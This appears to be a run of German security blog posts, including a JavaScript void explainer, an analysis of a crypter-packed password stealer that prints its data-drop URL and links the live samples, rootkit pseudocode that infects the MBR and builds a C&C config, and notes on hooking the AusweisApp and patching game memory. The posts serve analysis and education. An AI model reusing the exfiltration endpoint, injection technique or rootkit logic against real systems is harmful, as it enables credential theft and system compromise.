In diesem Artikel geht es um: void, undefined und null.

undefined, null

Diese beiden Typen sind schnell erklärt, deshalb ziehe ich diese eben vor, dann fällt auch void ein wenig leichter.

undefined

steht für “Nicht definiert”, was soviel heißt wie “Das Objekt wurde nicht definiert, halt also keinen Wert oder Typen”.

Spricht man ein undefiniertes Objekt lesend an (man möchte den Wert wissen), wird der Browser dir den Sachverhalt meist recht unsanft mitteilen in dem er dir eine “Exception”  vor die Füße wirft und nachfolgenden Code einfach ignoriert.

Weist man einer zuvor definierten Variablen der Wert undefined zu, entspricht das einem delete – das Objekt ist ist dann zwar noch im aktuellen Stack vorhanden und der Browser wird dir nicht auf die Finger hauen wenn du es ansprichst, doch sein Wert ist weg und der refcount (die Anzahl an Referenzen zu seinem vorherigem Wert)  wird um 1 verringert.

Weist man einer Variablen über das Schlüsselwort var den “Wert” undefined zu, wird die Variable zwar deklariert, aber nicht definiert – was auch passieren würde wenn keinerlei Zuweisung erfolgt.

Beispiel:

var a; // a ist undefined

var b = undefined; // entspricht `a`

null

sieht das Ganze ein wenig lockerer. Es steht für “Das Objekt ist zwar definiert, hat aber (noch?) keinen Wert.”.

Bitte vergesst nicht, dass null (anders als undefined) selbst ein Objekt darstellt.

typeof undefined; // undefined

typeof null; // object

Kommen wir also zu

void

Anders als undefined und null ist void KEIN “Wert” den man anderen Variablen zuweisen kann, sondern ein Sprachkonstrukt.

Mit diesem Schlüsselwort verwirft man das Ergebnis eines Ausdrucks und erzwingt als Rückgabe undefined, was bei allen Browsern das gleiche Verhalten auslöst:

“Ich weiß nicht was ich damit machen soll, also mach ich gar nichts.”

Ein Beispiel:

var i = 1;

var o = ++i;

alert(o); // 2

alert(i); // 2

Der Ausdruck ++i hat also nicht nur den Wert der Variable i um 1 erhöht, er hat diesen Wert auch zurückgegeben und in der Variable o gespeichert. Im Grunde genau das, was man erwarten würde.

Jetzt das Gleiche noch einmal mit dem Schlüsselwort void:

var i = 1;

var o = void ++i;

alert(o); // undefined

alert(i); // 2

Wie man sieht wurde durch ein Voranstellen des Schlüsselwortes void der Rückgabewert des Ausdrucks verworfen und mit undefined ersetzt. Der Ausdruck selbst, also ++i wurde aber ganz normal verarbeitet, wie man im Zweiten alert sehen kann.

Jetzt fragt sich der ein oder andere vielleicht, was genau der Sinn dahinter ist einen Rückgabewert zu verwerfen?

Das ist schnell erklärt:

Wenn man in die Adressleiste des Browsers über das javascript:-Präfix Code ausführt, nimmt dieser den Rückgabewert des Ausdrucks und versucht diesen im Fenster anzuzeigen. Ist aber kein Rückgabewert vorhanden, verfällt der Browser in das oben erwähnte “Ich mach einfach gar nichts”-Schema und verweilt im aktuellen Fenster.

Dieses Verhalten trifft auch auf alle Elemente oder Funktionen zu, die den Inhalt der Adresszeile (bzw. window.location.href) ändern wollen, also auch Links.

Beispiel:

<a href="javascript:var i = 1; ++i;">Klick mich</a>

Würde man diesen Link anklicken, dann würde der Browser zunächst den Ausdruck var i = 1; ++i; auswerten und anschließend versuchen diesen im aktuellen Fenster anzuzeigen. Das Ergebnis wäre eine einsame “2″ in einem sonst leeren Browserfenster.

Das wollen wir verhindern:

<a href="javascript:var i = 1; void ++i;">Klick mich</a>

Nun stößt der Browser nach dem auswerten des Ausdrucks auf ein undefined und macht, wie wir es erwartet haben, gar nichts mit dem Ergebnis.

Mit dieser Methode ist es also möglich, Code in der Adresszeile des Browsers auszuführen ohne anschließend auf eine andere Seite zu wechseln, was sonst im Normalfall geschehen würde.

Nutzt man dieses Verhalten in Bookmarks aus, so spricht man von einem “Bookmarklet”. Damit ist es möglich jeden beliebigen Code per klick auf einen Bookmark in der aktuellen angezeigten Seite auszuführen.

Ich würde euch gerne einen Link erstellen, mit dem Ihr das Ganze mal testen könnt, aber leider erlaubt WordPress keine javascript:-Links in Artikeln ohne entsprechende Plugins und Geöns.

ich nehme an, dass du mich schon aus YourWire kennst.. bin dort selbst SMOD. Mein zweiter Nick ist haze. Habe für unseren Moderatorenteam ein kleines Programm geschrieben, um ihnen die Arbeit erheblich leichter zu machen. Habe an dem Programm weitergearbeitet und die Version 1.1 fertiggestellt. Diese gebe ich auch anderen Moderatoren/Super Moderatoren um ihnen die Arbeit zu erleichtern.

3 Boards benutzen zzt. meine Software.. und aus den internen Bereichen höre ich nur Gutes darüber.

// MyGully / BoerseBZ und YourWire nutzen meine Software.

Natürlich wurden direkt Downloads Links zu dieser tollen Software angeboten. Als erstes lädt man als misstrauischer Nutzer natürlich so etwas auf virustotal.com hoch und schaut mal was 41 Virenscanner dazu sagen. Tja leider versagten alle Virenscanner und meldeten eine „saubere“ Datei (0 /41 (0.0%)).

Schädlich oder nicht?

Die Virenscanner versagen mal wieder, aber wer sich ein bisschen auskennt weiß sofort, dass diese Datei niemals „sauber“ sein kann. Man sieht es direkt im Virustotal.com Ergebnis, wenn man auf „Show all additional information“ klickt. Die Import Liste ist schon mal äußerst verdächtig. Es werden viel zu wenig Windows APIs importiert. Eine normale Windows GUI Applikation hat mindestens 100 API Imports und diese gerade mal 42. Auch die APIs die importiert werden deuten auf eine schädliche Datei hin (GetProcAddress, LoadLibraryA in Kombination mit den anderen).

Analyse der Datei

Die Datei ist doch recht interessant, es lohnt sich also mal OllyDbg anzuwerfen und das Teil zu zerlegen. Die Hauptdatei wurde mit Visual C++ 6 programmiert. Am besten man setzt am Anfang ein Breakpoint auf GetProcAddress, weil mit dieser API neue APIs nachgeladen werden. Interessant wird es in der Methode 0x004010A0 dort befindet sich der Kern. Am Anfang der Methode findet man schon einen tollen Anti-Virenscanner Trick, ein Virenscanner führt eine Datei ein Stück weit aus um schädliche Funktionen zu erkennen und durch eine funktionslose Schleife (mit so ca. 100000 Iterationen) kann man da eine unschädliche Datei vorgaukeln.

Direkt danach findet man nochmal so eine Schleife.

Entschlüsseln

Nach den sinnlosen Schleifen wird der eigentliche Schädling entschlüsselt. Diese Hauptdatei ist also nur ein Crypter, der den Schädling in sich trägt und ihn vor den Antivirenscannern schützt. Als Entschlüsselungsfunktion wird eine windows-eigene verwendet. Microsoft bietet eine ganze Reihe von speziellen APIs an mit denen man bekannte Algorithmen (Von AES bis RSA wird alles unterstützt) verwenden kann. Das Programm verwendet dafür folgende APIs: CryptAcquireContext, CryptCreateHash, CryptDeriveKey, CryptHashData und CryptDecrypt. Das Programm verwendet den RC4 Algorithmus.
Danach wird eine DLL ins Temp Verzeichnis geschrieben und mit LoadLibrary geladen. Mit GetProcAddress wird eine Funktion geladen mit dem Namen „AfroTech“. AfroTech scheint wohl der Name oder die Gruppe des Entwicklers zu sein, dieser Name taucht öfters auf. Die Funktion der DLL wird aufgerufen und nun geht es in der DLL weiter. Die Aufgabe der Hauptdatei (Crypter) ist damit erledigt.

In der DLL

Die DLL hat nur eine Größe von 2,5KB. Sie dient auch nur zum Laden anderer Komponenten. Die DLL wurde wahrscheinlich direkt mit einem Assembler erstellt. Zunächst mal werden hier einige interessante APIs mit GetProcAddress geladen: CreateProcessA, GetThreadContext, SetThreadContext, WriteProcessMemory, ResumeThread, VirtualAllocEx, NtUnmapViewOfSection. Mit diesen APIs kann man Prozesse erstellen und diese beliebig manipulieren. Als erstes erstellt die DLL einen neuen eigenen Prozess der Hauptdatei im Suspended Mode.

Dort wird der zuvor entschlüsselte Speicherbereich reingeschrieben. Mit Hilfe von SetThreadContext wird dann der Entrypoint angepasst und der Prozess wird gestartet mit ResumeThread. Eine ziemlich gute Methode um die Virenscanner zu täuschen.

Der 2. Prozess

Nachdem ich diese erste Schicht erfolgreich bewältigt hatte, machte sich doch etwas Enttäuschung breit. Die Datei des 2. Prozesses beinhaltet eine Versionsinformation „Aurodrion Works“ „OldMan’s Tales“. Nach kurzem googlen nach Aurodrion findet man schnell eine Produktbeschreibung „Aurodrion Crypter“. Gute Arbeit von dem Coder, d.h. aber auch, dass der PN-Ersteller nur ein üblicher „Noob“ ist der keine Ahnung von der Materie hat und sich diesen Crypter gekauft hat. Durch die Produktbeschreibung des Crypters wird auch die Analyse viel einfacher:

+ little stub size
+ Downloader
+ Firewall Bypass
+ Binder ( all types of files .txt .exe etc.. )
+ Injection ( PE Files )
+ Compression ( RtlCompressBuffer API )
+ Delay Execution
+ File Cloner + Icon Changer
+ File Bloater ( pumper )
+ Fake Error Message
+ Anti - VM / Emulator / Debugger
+ EOF Support
+ Command Line Support + dll injection
+ Unicode support ( e.g. chinese or arabic systems )
+ Drag and Drop your Files for Crypting & Binding
+ Bypass Kaspersky Proactive Defense
+ works on all systems x86/x64 even Linux via Wine

Aber zurück zum 2. Prozess. Dieser ist wohl die Hauptkomponente des Aurodrion Crypters. Nach bisschen rumschauen findet man auch schnell eine Stelle wo ein 3. Prozess gestartet wird.

Die Initialisierung des 3. Prozesses funktioniert mit denselben APIs und genau gleich wie vorhin.

Der 3. Prozess – Password Stealer

Das hier ist nun endlich was Schädliches, wir sind also am Ziel und damit wäre der Crypter erfolgreich umgangen. Ein Passwort Stealer, programmiert in Delphi 2007. Ein sehr schlechter Password Stealer, dieser Screenshot spricht schon für sich:

Das Interessanteste findet man schon ganz am Anfang nach einer Funktion:

APPDATA#foldername#uploadingtool.exe#http://gotoannonym.go.funpic.de/creater.php#Server Platzhalter#User Platzhalter#Pass Platzhalter#Directory Platzhalter#Title...#Message...#1#-1#-1#-1#-1#-1#-1#-1#-1#-1#-1#-1#-1#-1#-1#-1#0#-1#Steam

Da steht auch schon eine Server URL. Die gestohlenen Daten werden per HTTP multipart/form-data an ein PHP Skript gesendet. Funpic als Hoster zu wählen sagt schon mal einiges über den Ersteller aus… Den Password Stealer zu analysen stellt keine Herausforderung dar, weil absolut nichts versteckt wurde. Allein die Textstrings in der Datei verraten schon was er so alles klauen kann, z.B. Firefox, Chrome, IE, SmartFTP, JDownloader, usw. Der Password Stealer wurde sicher von irgendeinem Scriptkiddie zusammengeklaut bzw. programmiert, der Entwickler wusste nicht wirklich was er da tut. Die Strings in deutscher Sprache lassen auf einen deutschen Entwickler schließen.

Schluss

Ich habe euch alle Dateien in ein RAR Archiv gepackt. Die einzelnen Komponenten findet ihr separat in dem Archiv. Der PN-Ersteller war also ein Scriptkiddie mit ernsten Absichten. Er hat sich wohl einen Crypter gekauft um einen Password Stealer vor den Virenscannern zu verstecken. Am Anfang dachte ich er hätte tatsächlich selber was programmiert (die PN wirkte so professionell), aber das ist nicht möglich. Er kann nicht den Crypter programmiert haben, weil der Password Stealer viel zu schlecht ist. Der Crypter Programmierer hat viel Ahnung von der Materie und würde niemals so ein Müll da reinmachen. Der PN-Ersteller kann auch nicht den Password Stealer programmiert haben, weil das Teil ein typischer idiotensicherer Baukasten Password Stealer ist, wäre er der Programmierer hätte er wohl wenigstens diese Baukasten Form entfernt. Wahrscheinlich hat er den Password Stealer auch gekauft. Schade, hatte mir irgendwie mehr versprochen. Falls noch Fragen auftauchen, einfach per Kommentar stellen.

Download auf eigene Gefahr: XUP Download
Passwort: infected

Eine wichtige Frage die man in diesem Zusammenhang stellen sollte ist klar: Wie einfach ist es das AusweisApp zu manipulieren? Wie einfach haben es die Trojaner Entwickler. Das es möglich ist bezweifelt keiner, aber schaffen das auch einfache Scriptkiddes ohne große Kenntnisse?

Ich habe mir zum Glück rechtzeitig das AusweisApp runtergeladen und bin leider jetzt erst dazu gekommen es mal genauer anzuschauen. Leider habe ich noch keinen neuen Ausweis, aber es lassen sich schon gute Tendenzen erkennen.
Zunächst schau ich immer welche Programmiersprache eingesetzt wurde. Bei dem AusweisApp lässt sich das nicht genau sagen. Es ist auf jeden Fall ein Mix aus C++ und Java. Gewisse News Seiten haben schon bemängelt das eine alte Java Version(v1.6.0_18) mitgeliefert wird, aber auch das finde ich nicht wirklich schlimm, weil es auch hier eher unwahrscheinlich ist das jemand diese Tatsache effektiv missbrauchen kann. Was sehr auffällt sind die vielen externen Bibliotheken (DLLs). Neben den offensichtlichen DLLs wie z.B. PdfSecureAPI.dll oder msvcr80.dll gibt es auch viele Dateien mit der Endung „ols“ die in Wahrheit aber ganz normale DLLs sind z.B. siqCertMgr.ols oder siqCipher.ols. Allein der Name dieser OLS Dateien lässt schon schließen das in diesen Dateien sehr interessante Dinge passieren. Wenn man sich die Dateien mal mit dem tollen CFF Explorer anschaut und das Export Directory begutachtet findet man auch ganz tolle Sachen. Funktionen wie siqCipher_Decrypt, siqCipher_Encrypt, siqCipher_EncryptFile oder siqCipher_DecryptFile lassen schon das Herz eines jeden Malware-Entwickler höher schlagen. Ich hab keine Ahnung welche Verschlüsselung in dem neuen Ausweis eingesetzt wird und dank dieser sehr sprechenden Namen von Funktionen brauch ich das auch gar nicht wissen. Ich schau einfach mal was bei den vielen „Decrypt“ und „Encrypt“ Funktionen so rein und raus geht (z.B. mit einem Debugger) und schon wird man auch mit 0 Kryptographie Erfahrung den neuen Ausweis gut durchleuchten können. Klasse finde ich z.B. auch die DLL siqSSLClient.ols mit den vielversprechenden Funktionen wie z.B. Java_com_openlimit_net_ssl_CsiqSslPskClient_write. Die Methode hat wahrscheinlich die gleiche Funktion wie SSL_write von OpenSSL (Hint: Schaut mal meinen SFT Hook an). Man kann nur hoffen dass diese Funktion nicht dafür verantwortlich ist die Kommunikation mit dem Internet zu sichern…

DLL Injection mit API Hooking ist also ein sehr gutes Verfahren das AusweisApp zu manipulieren, da man die Funktionsadressen dynamisch mit GetModuleHandle/GetProcAddress holen kann, spielt die Version des AusweisApp auch keine Rolle. Man kann also ohne Probleme alle aktuellen und zukünftigen Versionen des AusweisApp infizieren ohne Code Anpassungen.

Fazit

Es scheint so, dass man mittels einfachem API Hooking das AusweisApp beliebig manipulieren kann. Die sehr sprechenden DLL Namen und die sehr interessant klingenden Funktionsnamen laden einen gerade dazu ein. Das tolle ist das man dafür kaum Reverse Engineering Kenntnisse braucht, die Funktionsnamen liefern quasi schon alle Details die man wissen muss, lediglich die Funktionsparameter muss man mit einem Debugger noch rausfinden, was allerdings nicht schwer ist. Das AusweisApp zu manipulieren ist also keine Kunst, das sollten selbst Scriptkiddies hinbekommen. Ich bin also sehr gespannt wie lange es dauert bis es ein Trojaner gibt der das AusweisApp angreift. Vielleicht ist es aber auch so, dass die neue Version des AusweisApp (die im Januar erscheinen soll) bereits diese einfache Manipulationsmöglichkeit nicht mehr bietet.

Links:

http://www.heise.de/newsticker/meldung/Neuer-Personalausweis-AusweisApp-mit-Luecken-2-Update-1133376.html

http://www.heise.de/newsticker/meldung/BSI-testet-neue-Version-der-AusweisApp-1138739.html

http://www.heise.de/newsticker/meldung/Elektronischer-Personalausweis-Ueberarbeitete-AusweisApp-kommt-im-Januar-1146066.html

• 1. Im Spiel eine Zahl bzw. Wert suchen und merken z.B. die Kugeln im Waffenmagazin.
• 2. Mit einem Memory-Scanner diese Zahl solange suchen bis man die genaue Speicherstelle(n) gefunden hat
• 3. Per Hardware-Breakpoint den Codeteil im Spiel finden der diesen Wert manipuliert
• 4. Mit einem selbst-geschriebenen Programm diese Codestelle ausschalten

Das war es schon und fertig ist der „Unlimited Ammo“ oder „Unlimited Money“ Trainer. Diese Vorgehensweise ist nicht falsch, aber für einen Trainer mit mehr Optionen wird man da schnell verzweifeln, weil man einfach nicht weiß nach welchem Wert man scannen soll. Allein schon für die Gesundheitsanzeige kann das ganz schön schwierig sein, in vielen Spielen wird hier zwar der Wert 100 angesetzt, aber trotzdem ist es sehr schwer danach zu scannen, besonders wenn sich die Gesundheit wieder von alleine auflädt.

Strukturen

Um hier weiter zu kommen muss man eine andere Technik einsetzen. Man sucht nicht mehr nach einzelnen Werten sondern nach ganzen Blöcken von Werten sogenannter Strukturen (struct) bzw. Klassen (class). Das Prinzip das dahinter steckt ist schnell erklärt. Jeder Programmierer kennt es, man hat unterschiedliche Variablen die aber alle irgendwie zusammengehören und nun stellt sich die Frage wie modelliert man solche zusammengehörigen Werte am besten im Quellcode. Ein Java-Programmierer wird nicht überlegen und daraus einfach eine Klasse machen, ein C++-Programmierer wird vielleicht kurz überlegen ob er nun eine Klasse macht oder eine ganz normale Struktur dafür erstellt und ein C-Programmierer hat sowieso keine Wahl und wird wohl eine Struktur erstellen. Das Prinzip der Kapselung gibt es in allen höheren Programmiersprachen und es wird natürlich auch gerne genutzt von Spieleentwicklern. Im Falle eines einfachen Ego-Shooters würde man dann wohl eine Struktur/Klasse erstellen in der definiert ist welche Waffe, Wie viele Patronen in der Waffe, Wie viel Gesundheit aktuell und alles was man sonst noch so alles wissen sollte über den Spieler.  Je nachdem wie das Spiel programmiert ist können die für die Trainer Erstellung nützlichen Werte auf mehrere Strukturen aufgeteilt sein, was aber auch kein größeres Problem darstellt, weil man von einer Struktur in der Regel leicht auf eine andere schließen kann. Unser Ziel ist es also Speicheradressen von Strukturen zu finden und diese Strukturen dann genauer zu analysieren. Mit etwas Glück haben wir dann ein oder zwei Strukturen, die uns ermöglichen das Spiel nach unseren Wünschen zu modifizieren.

Tools

Natürlich braucht man auch Tools um möglichst bequem ein Spiel analysieren zu können, ich empfehle folgende Tools.

OllyDbg: Der beste 32-Bit Debugger läuft auch problemlos auf Windows 7 64-Bit. Empfehlenswerte Plugins sind Stealth64 (für 64-Bit OS), StrongOD (für 32-Bit OS), Mapimp und StollyStruct.

Cheat Engine: Ein sehr guter Memory-Scanner. Wer zum ersten Mal das Tool benutzt sollte den integrierten Tutorial mal machen. Ich werde hier bestimmt nicht erklären wie man das Teil bedient.

ReClass: Fast wichtiger als ein Memory-Scanner ist dieses tolle Programm. Es hilft uns unbekannte Strukturen zu erforschen. Wer zum ersten Mal damit arbeitet sollte sich unbedingt den Video Tutorial anschauen. Es ist etwas schwierig dafür einen Download zu finden, deshalb hab ich es hier mal hochgeladen: klick

CoD 7: BO

Als Beispiel hab ich mal das Spiel Call of Duty: Black Ops rausgesucht. Obwohl das Spiel brandneu ist basiert es im Kern immer noch auf der uralten Quake Engine. Die Engine ist mittlerweile Open-Source und dadurch hat man eine große Hilfe, da man im Quellcode z.B. nachschauen kann welche Strukturen es gibt. Trotzdem werde ich in diesem Fall so tun als ob es diese Hilfe nicht gibt. Ich werde hier nur den Single Player analysieren, aber man kann davon ausgehen das es im Multiplayer sehr ähnlich aussieht. Ich verwende die Retail Version ohne installierte Updates. Wer Updates installiert hat wird kaum Unterschiede haben, nur das die Speicheradressen eben etwas unterschiedlich sind. Um das Spiel bequem zu analysieren sollte man alle Grafikeinstellungen auf die niedrigste Stufe setzen, kleinste Auflösung und natürlich den Fenstermodus aktivieren.

Das Spiel lässt sich sehr gut mit Olly debuggen wenn man so vorgeht: Spiel starten und eine Mission starten, Olly starten und CoD7 Prozess attachen, danach sofort mit RUN das Spiel weiterlaufen lassen.

Aller Anfang ist… leicht

Es gibt in CoD7 zwei sehr tolle Wege zum Anfangen:

1. 1. Der klassische Weg: Man benutzt einen Memory-Scanner und scannt nach den Kugeln im Waffenmagazin.
2. 2. Man benutzt den Debugger und sucht nach verdächtigen Textstrings. Meist sind es Entwicklerkommentare  oder Fehlermeldungen die einem sehr viel über den Code an dieser Stelle verraten.

Bei Methode 1 sollten keine Probleme auftauchen, wer den Cheat Engine Tutorial gemacht hat kann das auf jeden Fall auch. Einfach die Codestelle finden die bei jedem Schuss die Kugeln herunterzählt. Die Stelle ist bei mir bei Speicheradresse (Virtual Address = VA) 0062D7F8 und sieht so aus:

DEC EDX
AND EDX,ECX
MOV DWORD PTR DS:[EAX+4],EDX
POP EDI

Diese Funktion von diesem Codeteil beginnt bei 0062D7A0 und wird bei jedem Schuss 2-mal aufgerufen. Wer ein paar Mal mit unterschiedlichen Waffen schießt und sich die Register und Stack anschaut wird schnell herausfinden, dass diese Funktion 3 Parameter hat:

function_62D7A0(int playerWeaponStruct, int weaponClassIndex, int howManyBullets)

2-mal wird sie aufgrufen und 2-mal wird ein unterschiedlicher Strukturpointer übergeben. Mit ein bisschen ausprobieren kriegt man schnell raus das es nur einen „Master“ gibt auf den es ankommt bei mir ist es die Struktur die beim 2. Aufruf übergeben wird 01BDB418.

Die Funktion hat aber noch mehr interessante Details, wer lange genug durch ausprobieren (schießen mit unterschiedlichen Waffen) die Funktion durchsteppt wird merken das die 2 letzten CALLs am interessantesten sind. Der CALL 00534DF0 beinhaltet nur 2 Maschinenbefehle, der 2. Maschinenbefehl beinhaltet eine sehr interessante Adresse. Nämlich eine Adresse die zu einer Art Tabelle führt die alle Waffen Strukturen, die es im Singleplayer gibt, beinhaltet. Bei mir liegt die Adresse bei BBC6E8. Hier kommt auch der 2. Parameter der Funktion ins Spiel. Ich habe den Parameter weaponClassIndex genannt, weil er genau dafür da ist. Nehmen wir an wir schießen mit einer SPAS Dragon‘s Breath, dann wird der Index 23 (0×17) übergeben, dieser CALL liefert dann den 23-te Strukturpointer zurück. Der Index 0 steht übrigens für „Keine Waffe in der Hand“. Schauen wir noch kurz den 2. interessanten CALL an, den dieser liefert den richtigen Pointer zu unserem Magazin zurück. Es wird in der Waffenklasse geschaut welcher Magazin Typ unsere Waffe hat, danach wird in der playerWeaponStruct dieser Typ gesucht und wenn gefunden der Zeiger auf diesen Wert zurückgeliefert. Hört sich vielleicht alles noch sehr unverständlich an, aber dafür haben wir jetzt ReClass. Wir haben schon 2 Strukturen gefunden die wir uns in ReClass genauer anschauen können nämlich 01BDB418 und BBC6E8.

ReClass

Zunächst mal die Waffenklassen in ReClass, bei mir sieht es so aus:

Das alles sind Pointer zu der eigentlich Waffenklasse, das kann man in ReClass super darstellen. Jetzt beginnt das rumprobieren und testen um rauszufinden was die einzelnen Variablen in einer Waffenklasse bedeuten. Ich nehme wieder die SPAS DB als Beispiel. Die hat den Index 23 also ist die Klasse bei E418E0. Die Magazingröße kann man schnell entdecken und auch den MagazinTyp wissen wir schon. Wer sich mehrere Klassen anschaut wird auch schnell die Variable für die maximal tragbare Munition finden. In diesen Waffenklassen sollten wirklich alle Informationen über eine Waffe drin stehen, also auch Rückstoß, Feuerrate, Schaden kann man mit ausprobieren und vergleichen leicht finden. SPAS-12 und SPAS DB eignen sich besonders gut als Vergleichsobjekte. Die SPAS DB ist die stärkste Waffe im Singleplayer, irgendwo ist also ein Wert der das definiert. Durch den direkten Vergleich mit der normalen SPAS lassen sich schnell die entscheidenden Werte finden. Die einzelnen Werte kann man leicht mit CheatEngine manipulieren und dann testen, wie wäre es z.B. mit einer FAL und 200er Magazin?

Kein Problem, die Waffe verhält sich nun so als ob sie wirklich standardmäßig ein 200er Magazin hat. Man kann sich also toll die Waffen modden wie es einem gefällt.

to be continued…

Im Graph links ist deutlich zu sehen das Rapidshare einen einbruch an Nutzern hat, verstärkt seit dem Update. Hotfile.com der nun größte Filehoster hält seine Besucherzahlen ebenso wie Megaupload.com sehr stabiel. Auffällig schnell  wächst das relativ neue Angebot von Fileserve.com, was durch die starke verbreitung von Links zu diesem Hoster kaum unentedeckt bleiben dürfte.

Fileserve.com sowie Megaupload.com hosten die Daten auf Choopa.com, einem der größten Serveranbieter in den USA. Hotfile.com lagert seine Daten auf einem eigenem Hostingunternehmen ebenfalls in den Staaten. Durch die große entfernung zum Kunden in Europa sind die Ping zeiten im vergleich zu Rapidshare (die in Deutschland hosten) relativ hoch.

Im vergleich zu anderen Filehostern wie Beispielsweise Filefactory.com, Netload.in oder Depositfiles.com die ihre Nutzerzahlen nicht steigern können, wächst Fileserve.com weiterhin sehr schnell. Wenn man sich die Herkunft der Besucher ansieht stellt man fest das diese global gestreut sind. Ein großer Anteil der Nutzer kommt aus asiatischen Ländern wie Japan. Das starke Wachstum wurde wohl durch die internationale Verbreitung von Blogs und Foren erreicht, die ein großes spektrum an Filmen und Software auf Fileserve.com bieten.

Ein deutsches Angebot auf Fileserve.com ist bisher noch nicht aufgetaucht, hier können kleinere “heimische”-Filehoster wie Uploaded.to, Netload.in und viele Weitere noch  die Nutzer im deutschsprachigem Raum überzeugen. Wir hoffen das es auch weiterhin viele verschiedene Filehoster gibt die sich den Markt teilen und für Wettbewerb sorgen. Denn wenige große Filehoster könnten sonst durch ihre “monopol”-Stellung die Preis unabhängig höher treiben.

Download exe & src

Die Entwicklung des SFT Loaders sieht ziemlich tot aus, vielleicht kann ich den Entwickler mit dieser neuen SFT Hook Version motivieren mal bisschen weiter zu programmieren. Der Entwickler hat in den aktuellen Versionen ein paar API Checks eingebaut. In der 2009 Final Version ist es lediglich einer, aber in der 2010 Alpha Version sind es gleich 3 Stück. Nun ja die Check Methode ist ziemlich schlecht und der Entwickler hat dadurch den SFT Loader noch mehr zum Ressourcenfresser gemacht, weil er unnötigerweise ständig die APIs checkt in einer Endlosschleife. Ich bin trotzdem schon sehr gespannt was er in die neue Version einbaut, die hoffentlich bald erscheinen wird.

Wie in dem Thread schon angekündigt habe ich für den neuen Hook einen eigenen Loader geschrieben. Patchen ist dadurch überflüssig, man muss einfach nur den Loader und die DLL in das SFT Loader Verzeichnis kopieren und dann eben immer den Loader ausführen. Der Loader ist komplett in C geschrieben mit reinen Windows APIs. Kompiliert wurde er mit speziellen Compiler und Linker Einstellungen und dadurch hat er lediglich eine Größe von ca. 5 KB, damit ist er sogar 1,5KB kleiner als die DLL.

Die sft_hook.dll ist und bleibt in reiner Assemblersprache. Ich habe nur einiges verbessert und die ShellExecute Funktion entfernt, damit die DLL komplett SFT Loader Versionsunabhängig wird. Vielleicht werde ich sie wieder hinzufügen, dann aber erst wenn eine neue SFT Loader Version erschienen ist.

Viele werden es sicher nicht so toll finden, dass es wieder eine neue SFT Hook Version gibt, deshalb habe ich den Binary Download „Noob-sicher“ gemacht um die Kritiker etwas zu beschwichtigen. Also fragt mich bloß nicht nach dem RAR Passwort…

Unterstütze Betriebssysteme: Win XP, Vista, 7 je 32 und 64 Bit
Unterstütze SFT Loader: Alle aktuellen von der SFT Webseite (2009 Final, 2010 Alpha, Su-Bi Loader 2009 Final)

Passwort: 31f777292fa6c86283c049ec21fccc6d
Download: http://www.xup.in/dl,16255882/sft_hook_v1.0_bin.rar/
Source: http://board.raidrush.ws/showthread.php?t=741219

Kompletter Source gibt es hier: http://board.raidrush.ws/showthread.php?t=736119

Download kompiliert: Klick mich

Der 32-Bit Infektionsvorgang wurde nicht verändert es steht also alles schon in meinen anderen Blog Artikeln. Der PE Loader wurde auch kaum verändert, es ist also wirklich nur die 64-Bit Infektion neu und genau die wollen wir uns natürlich mal anschauen.
Ich habe wieder den PE Loader entfernt um den Kern besser analysieren zu können. Die Vorgehensweise war genau gleich. Wer es nachmachen will hier die neuen Offsets:

Kopier-Methode (hier dumpen): 00401722
Start als EXE: 0040247E CALL EBX
Start als DLL: 0040246E CALL EBX

Schauen wir uns mal die Hauptmethode an in Pseudocode:

BOOL startInstall(BOOL validDLL, HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
if (!validDLL)
{
	GetTempPathW(0x104, &PathName);
	GetTempFileNameW(&PathName, 0, 0, &NewFileName);
	if (is64BitWindows()) //API: IsWow64Process
    {
      BOOl infectSuccess = startInfection(GetModuleHandleA(0));
	  //eigene Datei ins Temp Verzeichnis kopieren und self-delete
      copyToTempAndDelete(0);
      if (infectSuccess)
      {
		//hole Reboot Rechte
        if ( RtlAdjustPrivilege(SE_SHUTDOWN_PRIVILEGE, 1, 0, var) >= 0 )
		{
          ExitWindowsEx(EWX_REBOOT|EWX_FORCEIFHUNG, 0); //erzwinge reboot
		}
      }
      ExitProcess(0);
    }
//32bit infection
}
//als dll ausgefuehrt
}

Das Rootkit greift bei 64-Bit Windows den MBR an, deshalb kommt bei erfolgreicher Infektion ein erzwungener Reboot am Ende. Wer also eine Datei ausführt und plötzlich wird Windows neugestartet, kann schon ziemlich sicher sein, dass er sich etwas eingefangen hat.
Schauen wir uns mal die startInfektion Methode (Offset 401A1A im Dump) an.

BOOL startInfection(DWORD var)
{
	//Speicher entschluesseln mit Methode 4019D8 und 401671
	snprintf(&var, 0xFFF, "%.*s", var, var); //PC ID gebaut
    snprintf(&var, 0xFFF, "%.*s", var, var); //C&C Server
	sscanf(&Dest, "%[^;];%[^;];%[^;];", &var, &var, &var);
	sscanf(&var, "%[^|]|%[^|]|%s", &var, &var, &var);
	snprintf(&var,0xFFF,"[main]\r\naid=%s\r\nsid=%s\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=%s\r\nwsrv=%s\r\npsrv=%s\r\n",&var,&var,&var,&var,&var);

	HANDLE fileHandle = getHandle();
	fileOperation(0x8, 0, fileHandle, 37, 1, var);  //lesen
	fileOperation(0x200, 0, fileHandle, 40, 1, var); //lesen aktueller MBR

	LPVOID space = VirtualAlloc(0, var, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); //neuer speicher

	//ideal um einzelne dateien zu dumpen, siehe adresse bei buffer
	//dateien werden verschluesselt in den neuen space geschrieben
	sub_4017C9(var, "cfg.ini", 0, space, buffer, var, var, 0x04FFFFFF);
	//ausgelesener MBR
	sub_4017C9(var, "mbr", 1, space, buffer, 0x200, var, 0x04FFFFFF);
	//loader 16, 32, 64 bit
	sub_4017C9(var, "ldr16", 2, space, buffer, 0x3C9, var, 0x04FFFFFF);
	sub_4017C9(var, "ldr32", 3, space, buffer, 0xC3E, var, 0x04FFFFFF);
	sub_4017C9(var, "ldr64", 4, space, buffer, 0xE48, var, 0x04FFFFFF);
	//driver 32,64 bit
	sub_4017C9(var, "drv32", 5, space, buffer, var, var, 0x04FFFFFF);
	sub_4017C9(var, "drv64", 6, space, buffer, 0x5DEC, var, 0x04FFFFFF);
	//32bit dll UPX packed
	sub_4017C9(var, "cmd.dll", 7, space, buffer, var, var, 0x04FFFFFF);
	 //64bit dll MPRESS packed
	sub_4017C9(var, "cmd64.dll", 8, space, buffer, 0x3000, var, 0x04FFFFFF);
